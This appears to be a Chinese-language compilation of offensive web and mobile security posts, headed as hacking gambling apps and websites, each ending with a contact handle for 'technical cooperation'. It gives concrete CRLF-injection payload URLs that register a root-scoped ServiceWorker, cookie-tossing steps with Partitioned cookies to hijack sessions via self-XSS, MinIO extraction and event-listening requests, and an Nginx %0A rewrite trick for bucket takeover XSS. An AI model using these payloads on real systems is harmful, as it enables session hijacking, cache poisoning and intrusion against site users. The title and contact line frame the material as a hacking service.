黑客入侵博彩APP网站渗透数据破解

移动安全聊天中，第一个问题应该是什么？

当然，最主要的问题是大家最关心的：“如何解除 SSL 验证？” 或者，在极端情况下，“如何绕过 Root 检查？”

目前，网上流传着一个包含 Frida 脚本的仓库，该脚本可以解除 SSL 验证，并绕过 Root 检查，可以说是“一举两得”。

我花了很长时间才找到它，因为我期望看到一些普通且早已为人所知的技术。但这个仓库让我感到惊喜。实际上，它提供了一系列不错的绕过 SSL 验证、Root 检查和 Frida 检测的方法。

当然，对于特别复杂的应用程序，这些方法可能无法奏效，但该脚本编写质量很高，而且目前仍在维护。

所以，作为一个起点，它非常有用。

#root #sslpinning

👉 技术合作联系： @GotFFs

如果发现了 CRLF 注入漏洞，可以修改 HTTP 响应并实现 XSS 攻击，那么可以通过 ServiceWorker 来扩大其影响。

要注册 ServiceWorker，需要满足以下条件：
1) 网站上下文必须能够执行 JavaScript。
2) 服务器上必须存在一个 JavaScript 文件，并且 Content-Type 必须正确。

使用 CRLF 注入，这两个条件很容易满足：

XSS 示例：
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0AXSS


JavaScript 文件示例：
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0AContent-Length:7%0D%0A%0D%0AJS_file


但是，存在一个问题，即由 ServiceWorker 控制的请求会受到其 scope 的限制。
也就是说，scope 限制在 CRLF 注入生效的目录中。 在这种情况下，是 `/some/path/foo/bar/`，这不太理想。

但是，如果阅读文档，可以了解到 Service-Worker-Allowed 头部，该头部会与 JavaScript 代码一起包含在 HTTP 响应中，并且可以通过该头部来重定义 scope。
这意味着，在 CRLF 注入的情况下，可以注册一个位于网站根目录的 ServiceWorker，而不仅仅是 CRLF 注入生效的目录。

为此，我们需要构建一个包含 Service-Worker-Allowed:/ 的 ServiceWorker 代码，该代码会替换所有 HTTP 响应为 "Fake response" 字符串。
https://example.tld/some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener("fetch",function(event){event.respondWith(new Response("Fake response",{status:200,statusText:"OK",headers:{}}))})


然后，通过 XSS 注入它。
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:378%0D%0A%0D%0Anavigator.serviceWorker.register(' /some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener("fetch",function(event){event.respondWith(new Response("Fake response",{status:200,statusText:"OK",headers:{}}))})', {scope: '/'})

此外，有时无法通过 Content-Length 限制 HTTP 响应长度来构建有效的 JavaScript 代码。 在这种情况下，可以使用带有 Transfer-Encoding:chunked 的 HTTP 响应来删除响应中的多余部分。

https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0ATransfer-Encoding:chunked%0D%0A%0D%0A7%0D%0AJS_file%0D%0A0%0D%0A%0D%0A

👉 技术合作联系： @GotFFs

关于客户端 Self-XSS 漏洞的利用技巧。

有时，需要利用 XSS 或 CRLF 注入在一个无趣的子域名上，从而在另一个子域名上利用 Self-XSS，该子域名托管着主要应用程序，并包含用户的会话信息。

通常，这可以通过以下方式实现：
1) 准备一个攻击者的会话，该会话在 /foo/bar 页面上触发 Self-XSS。
2) 使用 CRLF 注入，在受害者的浏览器中添加另一个包含攻击者会话信息的 cookie，路径为 `/foo/bar`。

Set-Cookie: sessionid=; domain=.company.tld; path=/foo/bar; secure; samesite=none;


由于原始会话具有不同的 path 属性，因此添加的 cookie 不会覆盖原始 cookie。
在整个网站上，用户将使用自己的会话进行身份验证，但在 /foo/bar 页面上，会发送以下头部信息。

Cookie: sessionid=; sessionid=;


也就是说，包含攻击者会话信息的 cookie 会在头部中首先发送，因为它与 path 前缀的匹配度更高。 按照 RFC 的规定，Web 应用程序会选择头部中第一个值作为最终结果。 结果是，只有在 /foo/bar 页面上，用户才使用攻击者的会话进行身份验证，并且在该会话中会触发 XSS。 这允许在原始用户的会话下执行操作，通过向其他路径发送请求。

但是，如果 Web 应用程序在会话 cookie 中具有相同的键时，选择最后一个值怎么办？

如果重复使用 path 技巧，攻击者的会话会首先出现，并被忽略。
如果设置相同的 `path`，则原始用户的会话将被覆盖，攻击将失去意义（尽管这仍然可以作为 CRLF 注入 -> XSS 来使用，但现在需要第三个漏洞才能展示其影响）。

在某些情况下，创建一个类似 cookie 可能会有所帮助，该 cookie 被 Web 服务器视为与原始 sessionid 相同，但在浏览器中被视为两个不同的 cookie。

sessionID=value;
"sessionid"=value;
sessionid =value; (似乎已经修复)
x=x,sessionid=value;


但有时很难找到这种 cookie。

最近出现的一个名为 Partitioned 的 cookie 属性，旨在为顶级网站的 cookie 提供单独的存储空间，允许 Chrome 创建两个具有相同名称、`domain` 和 path 属性的 cookie。

Set-Cookie: sessionid=; domain=.company.tld; path=/; secure; samesite=none; partitioned;


结果是，受害者的浏览器将在每个请求中发送两个会话。 攻击者的 cookie 会最后发送，并且 Self XSS 会生效。

为了在 XSS 触发后“退出”攻击者的会话，可以使用 JavaScript 删除添加的 cookie，并在当前页面上执行任意操作，从而使用原始用户的会话。

👉 技术合作联系： @GotFFs

现在，出现了各种各样的云端和本地解决方案，它们都与 S3 兼容。
除了 S3 API 本身，这些解决方案可能还实现了其他功能，了解这些功能非常重要。

例如，MinIO 支持列出 ZIP 压缩文件的内容，并从中提取文件。

要使用此功能，对象必须位于存储桶中，并且具有 ".zip" 扩展名（通过子字符串 ".zip/" 进行检查），并且 HTTP 请求必须包含额外的 x-minio-extract 头部。

列出压缩文件内容：
GET /bucket/?prefix=archive.zip/&list-type=2 HTTP/1.1
Host: 127.0.0.1:9000
x-minio-extract: true


从压缩文件中提取文件：
GET /bucket/archive.zip/test.html HTTP/1.1
Host: 127.0.0.1:9000
x-minio-extract: true


在特定情况下，这种行为可能被用于 XSS 攻击，如果：
* 攻击者控制对象的内容和名称，但不控制 Content-Type（在这种情况下，也需要检查 response-content-type 参数）。
* 对对象的请求被缓存。

通过使用 x-minio-extract 将 XSS 攻击缓存到响应中，可以将其用于其他客户端，因为此头部不会用于缓存键。

MinIO 另一个有趣的功能是：对存储桶事件进行签名。
如果存储桶配置不安全，并且允许 s3:ListenBucketNotification 操作，则可以实时获取有关 MinIO 内部地址、对象更改或用户对对象的请求的信息，包括 IP 地址和 User-Agent。

请求示例 ：
curl "http://127.0.0.1:9000/bucket/?events=s3:ObjectAccessed:*&ping=1"

👉 技术合作联系： @GotFFs

以下是一篇关于 Nginx 在代理请求到 S3 时可能存在的漏洞的简短说明，该漏洞去年在 Bug Bounty 项目中被利用。

与 S3 API 兼容的对象存储服务，在请求中指定存储桶名称有两种方式：

虚拟主机模式：
GET /object-name HTTP/1.1
Host: bucket-name.s3endpoint


路径模式：
GET /bucket-name/objectname HTTP/1.1
Host: s3endpoint


当使用路径模式时，Nginx 的配置可能存在一个不太明显的问题。
我们以一个代理请求的网站为例，该网站通过以下 rewrite 规则，在路径中插入存储桶名称。以下示例使用 Yandex Object Storage，但信息适用于所有 S3 存储服务。

location / {
set $s3_name "company-bucket";
set $s3_host "storage.yandexcloud.net";

rewrite ^(.*)$ /${s3_name}${1} break;

proxy_pass https://${s3_host};
}


在 Nginx 中，rewrite 规则应用于规范化的路径。如果路径中包含换行符 %0A，则此正则表达式将无法生效，因为正则表达式使用了行首和行尾锚点。

http://example.tld/test/test.html
=
https://storage.yandexcloud.net/company-bucket/test/test.html


http://example.tld/test/foo%0Abar
=
https://storage.yandexcloud.net/test/foo%0Abar


结果是，攻击者可以指定任何存储桶名称。即使对象名称中包含解码后的 %0A 字符，也不会影响，因为 S3 不是文件系统，允许使用此类名称。

因此，如果使用公共对象存储服务，攻击者可以在其中创建一个任意名称的存储桶，并上传一个名为 foo%0Abar 的文件，从而实现 XSS 攻击。由于 %0A 字符在对象名称中是解码后的，因此最简单的方法是使用 PUT 请求上传该对象。

以下是使用 Burp Suite 的 Hackvertor 扩展标记生成的 PUT 请求示例：
PUT /bucket-name/foo%0Abar HTTP/1.1
Host: storage.yandexcloud.net
Content-Type: text/html
Authorization: AWS ##ACCESS_KEY##:
👉 技术合作联系： @GotFFs

BFScan 分析 Java 类和应用程序资源中的字符串常量，以查找类似于 URL、路径或硬编码的密钥的字符串。
此外，它还可以根据配置、方法和类的注释生成原始 HTTP 请求和 OpenAPI 规范。它支持客户端库（例如，用于与后端交互的 APK 中的 Retrofit）以及服务器端技术，例如 Spring 注解。这大大简化了 API 测试，尤其是在需要从十几个嵌套类中构建 HTTP 请求体时。

让我们看一个例子，展示该工具如何与使用 Spring 注解的类一起工作。

@RestController
@RequestMapping("/api")
public class UserController {

@PostMapping("createUser")
public String create(@RequestParam Optional someParamName, @RequestBody User user) {
return "response";
}


如果正在处理的应用程序使用了支持的库，该工具将生成一个包含应用程序支持的所有 HTTP 请求的文件。
POST /api/createUser?someParamName=value HTTP/1.1
Host: localhost
Connection: close
Content-Type: application/json

{
"name": "name",
"age": 1
}


该工具非常适合用于客户端应用程序，例如分析移动应用程序的 API。 同样，如果获得了服务器应用程序的编译后的 JAR/WAR 文件，可以使用它来查找其中硬编码的密钥，或进一步分析它处理的 API 端点。

如果应用程序经过混淆（这在 APK 中很常见），该工具将分析所有注释，如果这些注释看起来像是典型的 API 端点声明，它将基于这些注释构建 HTTP 请求。 如果此功能出现错误，可以使用 jadx 轻松创建映射文件，以便重命名混淆的类，并正确构建 HTTP 请求。

👉 技术合作联系： @GotFFs

部分实现了在 BFScan 中，对类构造函数的参数中的注释的支持。

https://github.com/BlackFan/BFScan/releases/tag/v3.1.0

如果以前对于混淆的 APK 文件，会生成大量的 HTTP 请求，并且请求体包含以下内容，那么现在结果应该会得到显著改善。

{
"f199018c": {
"f198956a": {
"f198686a": 1,
"f198687b": 1
},
"f198957b": {
"f198686a": 1,
"f198687b": 1
}
}
}

👉 技术合作联系： @GotFFs

发现了一个有趣的情况，即无法使用从 Java 应用程序中提取的 JWT 密钥生成有效的令牌。

该项目使用了过时的 jjwt-0.7.0 库，该库在使用字符串作为密钥时，会隐式地使用 Base64 对其进行解码，即使该字符串不是有效的 Base64 字符串。

结果，在使用以下代码时：
private static String SECRET = "#%j?_GtEhNS-WH.Vq%";
private static long EXPIRATION = 3600L;

public static String generateToken(String username) {
Map claims = new HashMap();
claims.put("sub", username);
Date exp = new Date(System.currentTimeMillis() + (EXPIRATION * 1000));

return Jwts.builder()
.setClaims(claims)
.setExpiration(exp)
.signWith(SignatureAlgorithm.HS512, SECRET)
.compact();
}


您实际上得到的不是密钥 `"#%j?_GtEhNS-WH.Vq%"`，而是只有 6 个字符 `0x8c, 0x6b, 0x44, 0x84, 0xd4, 0x96`，或者 `base64_decode("jGtEhNSW")`。

所有不属于 Base64 的字符都会被删除，而序列 HVq 会被舍弃，因为为了正确地进行 Base64 编码，它需要必要的填充字符 `=`。


👉 技术合作联系： @GotFFs